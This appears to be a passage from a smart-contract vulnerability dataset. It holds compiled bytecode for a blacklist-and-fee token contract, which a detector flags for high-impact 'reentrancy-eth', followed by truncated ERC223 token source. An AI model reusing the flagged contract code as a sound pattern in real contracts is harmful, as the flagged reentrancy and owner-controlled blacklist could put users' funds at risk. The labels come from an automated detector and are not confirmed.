14610f77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6e906137cf565b60405180910390fd5b6103e8683635c9adc5dea00000610f8e9190613a3b565b811015610fd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc79061388f565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60185481565b60606040518060400160405280600681526020017f4359424f52470000000000000000000000000000000000000000000000000000815250905090565b6110546117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d8906137cf565b60405180910390fd5b8060198190555050565b6110f36117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611180576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611177906137cf565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c81905550600081846111aa91906139e5565b9050600083866111ba91906139e5565b90506019821115806111cd575060198111155b61120c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112039061378f565b60405180910390fd5b505050505050565b60006112286112216117ac565b848461197f565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112936117ac565b73ffffffffffffffffffffffffffffffffffffffff1614806113095750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112f16117ac565b73ffffffffffffffffffffffffffffffffffffffff16145b61131257600080fd5b600061131d30610d3e565b905061132881612520565b50565b6113336117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b7906137cf565b60405180910390fd5b60005b8383905081101561145f5781600560008686858181106113e6576113e5613ca2565b5b90506020020160208101906113fb919061301a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061145790613bfb565b9150506113c3565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6114fa6117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611587576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157e906137cf565b60405180910390fd5b6103e8683635c9adc5dea0000061159e9190613a3b565b8110156115e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d79061386f565b60405180910390fd5b8060188190555050565b6115f26117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461167f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611676906137cf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156116ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e69061370f565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181b9061384f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611894576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188b9061372f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161197291906138af565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e69061380f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a569061368f565b60405180910390fd5b60008111611aa2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a99906137ef565b60405180910390fd5b611aaa610fe0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b185750611ae8610fe0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561205257601660149054906101000a900460ff16611ba757611b39610fe0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611ba6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9d906136af565b60405180910390fd5b5b601754811115611bec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be3906136ef565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c905750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ccf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc69061374f565b60405180910390fd5b6008544311158015611d2e5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611d885750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611dc057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e1e576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611ecb5760185481611e8084610d3e565b611e8a91906139e5565b10611eca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec19061382f565b60405180910390fd5b5b6000611ed630610d3e565b9050600060195482101590506017548210611ef15760175491505b808015611f0b5750601660159054906101000a900460ff16155b8015611f655750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611f7b575060168054906101000a900460ff165b8015611fd15750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120275750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561204f5761203582612520565b6000479050600081111561204d5761204c476123b7565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120f95750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806121ac5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156121ab5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156121ba5760009050612341565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156122655750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561227d57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156123285750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561234057600b54600d81905550600c54600e819055505b5b61234d848484846127a8565b50505050565b600083831115829061239b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612392919061366d565b60405180910390fd5b50600083856123aa9190613ac6565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124076002846127d590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612432573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124836002846127d590919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156124ae573d6000803e3d6000fd5b5050565b60006006548211156124f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f0906136cf565b60405180910390fd5b600061250361281f565b905061251881846127d590919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561255857612557613cd1565b5b6040519080825280602002602001820160405280156125865781602001602082028036833780820191505090505b509050308160008151811061259e5761259d613ca2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561264057600080fd5b505afa158015612654573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126789190613047565b8160018151811061268c5761268b613ca2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126f330601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117b4565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016127579594939291906138ca565b600060405180830381600087803b15801561277157600080fd5b505af1158015612785573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b806127b6576127b561284a565b5b6127c184848461288d565b806127cf576127ce612a58565b5b50505050565b600061281783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a6c565b905092915050565b600080600061282c612acf565b9150915061284381836127d590919063ffffffff16565b9250505090565b6000600d5414801561285e57506000600e54145b156128685761288b565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b60008060008060008061289f87612b31565b9550955095509550955095506128fd86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b9990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061299285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612be390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129de81612c41565b6129e88483612cfe565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612a4591906138af565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612ab3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aaa919061366d565b60405180910390fd5b5060008385612ac29190613a3b565b9050809150509392505050565b600080600060065490506000683635c9adc5dea000009050612b05683635c9adc5dea000006006546127d590919063ffffffff16565b821015612b2457600654683635c9adc5dea00000935093505050612b2d565b81819350935050505b9091565b6000806000806000806000806000612b4e8a600d54600e54612d38565b9250925092506000612b5e61281f565b90506000806000612b718e878787612dce565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612bdb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612353565b905092915050565b6000808284612bf291906139e5565b905083811015612c37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c2e9061376f565b60405180910390fd5b8091505092915050565b6000612c4b61281f565b90506000612c628284612e5790919063ffffffff16565b9050612cb681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612be390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612d1382600654612b9990919063ffffffff16565b600681905550612d2e81600754612be390919063ffffffff16565b6007819055505050565b600080600080612d646064612d56888a612e5790919063ffffffff16565b6127d590919063ffffffff16565b90506000612d8e6064612d80888b612e5790919063ffffffff16565b6127d590919063ffffffff16565b90506000612db782612da9858c612b9990919063ffffffff16565b612b9990919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612de78589612e5790919063ffffffff16565b90506000612dfe8689612e5790919063ffffffff16565b90506000612e158789612e5790919063ffffffff16565b90506000612e3e82612e308587612b9990919063ffffffff16565b612b9990919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612e6a5760009050612ecc565b60008284612e789190613a6c565b9050828482612e879190613a3b565b14612ec7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ebe906137af565b60405180910390fd5b809150505b92915050565b6000612ee5612ee084613964565b61393f565b90508083825260208201905082856020860282011115612f0857612f07613d0a565b5b60005b85811015612f385781612f1e8882612f42565b845260208401935060208301925050600181019050612f0b565b5050509392505050565b600081359050612f51816141d1565b92915050565b600081519050612f66816141d1565b92915050565b60008083601f840112612f8257612f81613d05565b5b8235905067ffffffffffffffff811115612f9f57612f9e613d00565b5b602083019150836020820283011115612fbb57612fba613d0a565b5b9250929050565b600082601f830112612fd757612fd6613d05565b5b8135612fe7848260208601612ed2565b91505092915050565b600081359050612fff816141e8565b92915050565b600081359050613014816141ff565b92915050565b6000602082840312156130305761302f613d14565b5b600061303e84828501612f42565b91505092915050565b60006020828403121561305d5761305c613d14565b5b600061306b84828501612f57565b91505092915050565b6000806040838503121561308b5761308a613d14565b5b600061309985828601612f42565b92505060206130aa85828601612f42565b9150509250929050565b6000806000606084860312156130cd576130cc613d14565b5b60006130db86828701612f42565b93505060206130ec86828701612f42565b92505060406130fd86828701613005565b9150509250925092565b6000806040838503121561311e5761311d613d14565b5b600061312c85828601612f42565b925050602061313d85828601613005565b9150509250929050565b6000806000604084860312156131605761315f613d14565b5b600084013567ffffffffffffffff81111561317e5761317d613d0f565b5b61318a86828701612f6c565b9350935050602061319d86828701612ff0565b9150509250925092565b6000602082840312156131bd576131bc613d14565b5b600082013567ffffffffffffffff8111156131db576131da613d0f565b5b6131e784828501612fc2565b91505092915050565b60006020828403121561320657613205613d14565b5b600061321484828501612ff0565b91505092915050565b60006020828403121561323357613232613d14565b5b600061324184828501613005565b91505092915050565b6000806000806080858703121561326457613263613d14565b5b600061327287828801613005565b945050602061328387828801613005565b935050604061329487828801613005565b92505060606132a587828801613005565b91505092959194509250565b60006132bd83836132c9565b60208301905092915050565b6132d281613afa565b82525050565b6132e181613afa565b82525050565b60006132f2826139a0565b6132fc81856139c3565b935061330783613990565b8060005b8381101561333857815161331f88826132b1565b975061332a836139b6565b92505060018101905061330b565b5085935050505092915050565b61334e81613b0c565b82525050565b61335d81613b4f565b82525050565b61336c81613b61565b82525050565b600061337d826139ab565b61338781856139d4565b9350613397818560208601613b97565b6133a081613d19565b840191505092915050565b60006133b86023836139d4565b91506133c382613d2a565b604082019050919050565b60006133db603f836139d4565b91506133e682613d79565b604082019050919050565b60006133fe602a836139d4565b915061340982613dc8565b604082019050919050565b6000613421601c836139d4565b915061342c82613e17565b602082019050919050565b60006134446026836139d4565b915061344f82613e40565b604082019050919050565b60006134676022836139d4565b915061347282613e8f565b604082019050919050565b600061348a6023836139d4565b915061349582613ede565b604082019050919050565b60006134ad601b836139d4565b91506134b882613f2d565b602082019050919050565b60006134d06016836139d4565b91506134db82613f56565b602082019050919050565b60006134f36021836139d4565b91506134fe82613f7f565b604082019050919050565b60006135166020836139d4565b915061352182613fce565b602082019050919050565b60006135396029836139d4565b915061354482613ff7565b604082019050919050565b600061355c6025836139d4565b915061356782614046565b604082019050919050565b600061357f6023836139d4565b915061358a82614095565b604082019050919050565b60006135a26024836139d4565b91506135ad826140e4565b604082019050919050565b60006135c56028836139d4565b91506135d082614133565b604082019050919050565b60006135e86026836139d4565b91506135f382614182565b604082019050919050565b61360781613b38565b82525050565b61361681613b42565b82525050565b600060208201905061363160008301846132d8565b92915050565b600060208201905061364c6000830184613345565b92915050565b60006020820190506136676000830184613354565b92915050565b600060208201905081810360008301526136878184613372565b905092915050565b600060208201905081810360008301526136a8816133ab565b9050919050565b600060208201905081810360008301526136c8816133ce565b9050919050565b600060208201905081810360008301526136e8816133f1565b9050919050565b6000602082019050818103600083015261370881613414565b9050919050565b6000602082019050818103600083015261372881613437565b9050919050565b600060208201905081810360008301526137488161345a565b9050919050565b600060208201905081810360008301526137688161347d565b9050919050565b60006020820190508181036000830152613788816134a0565b9050919050565b600060208201905081810360008301526137a8816134c3565b9050919050565b600060208201905081810360008301526137c8816134e6565b9050919050565b600060208201905081810360008301526137e881613509565b9050919050565b600060208201905081810360008301526138088161352c565b9050919050565b600060208201905081810360008301526138288161354f565b9050919050565b6000602082019050818103600083015261384881613572565b9050919050565b6000602082019050818103600083015261386881613595565b9050919050565b60006020820190508181036000830152613888816135b8565b9050919050565b600060208201905081810360008301526138a8816135db565b9050919050565b60006020820190506138c460008301846135fe565b92915050565b600060a0820190506138df60008301886135fe565b6138ec6020830187613363565b81810360408301526138fe81866132e7565b905061390d60608301856132d8565b61391a60808301846135fe565b9695505050505050565b6000602082019050613939600083018461360d565b92915050565b600061394961395a565b90506139558282613bca565b919050565b6000604051905090565b600067ffffffffffffffff82111561397f5761397e613cd1565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006139f082613b38565b91506139fb83613b38565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613a3057613a2f613c44565b5b828201905092915050565b6000613a4682613b38565b9150613a5183613b38565b925082613a6157613a60613c73565b5b828204905092915050565b6000613a7782613b38565b9150613a8283613b38565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613abb57613aba613c44565b5b828202905092915050565b6000613ad182613b38565b9150613adc83613b38565b925082821015613aef57613aee613c44565b5b828203905092915050565b6000613b0582613b18565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613b5a82613b73565b9050919050565b6000613b6c82613b38565b9050919050565b6000613b7e82613b85565b9050919050565b6000613b9082613b18565b9050919050565b60005b83811015613bb5578082015181840152602081019050613b9a565b83811115613bc4576000848401525b50505050565b613bd382613d19565b810181811067ffffffffffffffff82111715613bf257613bf1613cd1565b5b80604052505050565b6000613c0682613b38565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613c3957613c38613c44565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f46656573206d75737420626520756e6465722032352500000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f43616e6e6f7420736574206d617857616c6c657453697a65206c6f776572207460008201527f68616e20302e3125000000000000000000000000000000000000000000000000602082015250565b7f43616e6e6f7420736574206d61785478416d6f756e74206c6f7765722074686160008201527f6e20302e31250000000000000000000000000000000000000000000000000000602082015250565b6141da81613afa565b81146141e557600080fd5b50565b6141f181613b0c565b81146141fc57600080fd5b50565b61420881613b38565b811461421357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e6b5db8f8b40ef01173c5a0ee0919cec58b4b749851cd86221db78c7314348cf64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
1,047
0xdDBAF7f74D2dB3536895B45690E9b82bB5A90a41
pragma solidity ^0.5.1; contract ERC223Receiver { function tokenFallback(address, uint256) public returns (bool); function tokenFallback(address, uint256, bytes memory) public returns (bool); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns(uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool){ require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals)public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } } contract ERC223 is ERC20, ERC20Detailed { using SafeMath for uint256; constructor( string memory name, string memory symbol, uint8 decimals, address owner, uint256 totalSupply ) ERC20() ERC20Detailed(name, symbol, decimals) public { _mint(owner, (totalSupply * 1 ether)); } function transfer( address to, uint256 value ) public returns (bool) { require(super.transfer(to, value)); uint256 codeLength; assembly { codeLength := extcodesize(to) } if (codeLength > 0) { ERC223Receiver receiver = ERC223Receiver(to); if (!receiver.tokenFallback(msg.sender, value)) { revert("Missing Token Receiver"); } } return true; } function transfer( address to, uint256 value, bytes memory data ) public returns (bool) { require(super.transfer(to, value)); uint256 codeLength; assembly { codeLength := extcodesize(to) } if (codeLength > 0) { ERC223Receiver receiver = ERC223Receiver(to); if (!receiver.tokenFallback(msg.sender, value, data)) { revert("Missing Token Receiver"); } } return true; } function transferFrom( address from, address to, uint256 value ) public returns (bool) { require(super.transferFrom(from, to, value)); uint256 codeLength; assembly { codeLength := extcodesize(to) } if (codeLength > 0) { ERC223Receiver receiver = ERC223Receiver(to); if (!receiver.tokenFallback(msg.sender, value)) { revert("Missing Token Receiver"); } } return true; } function transferFrom( address from, address to, uint256 value, bytes memory data ) public returns (bool) { require(super.transferFrom(from, to, value)); uint256 codeLength; assembly { codeLength := extcodesize(to) } if (codeLength > 0) { ERC223Receiver receiver = ERC223Receiver(to); if (!receiver.tokenFallback(msg.sender, value, data)) { revert("Missing Token Receiver"); 